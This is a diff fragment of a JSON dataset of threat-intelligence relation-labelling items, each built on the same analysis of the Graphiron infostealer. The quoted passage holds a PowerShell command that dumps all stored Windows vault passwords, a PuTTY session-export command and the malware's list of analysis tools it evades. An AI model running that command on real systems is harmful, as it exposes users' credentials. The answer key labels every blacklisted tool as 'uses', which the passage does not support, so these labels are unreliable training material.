directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: DumpIt\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: Fiddler\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: HTTPDebuggerSVC\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: HTTPDebuggerUI\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: HookExplorer\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: Immunity\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: ImportREC\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: LordPE\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: MegaDumper\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: NetworkMiner\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
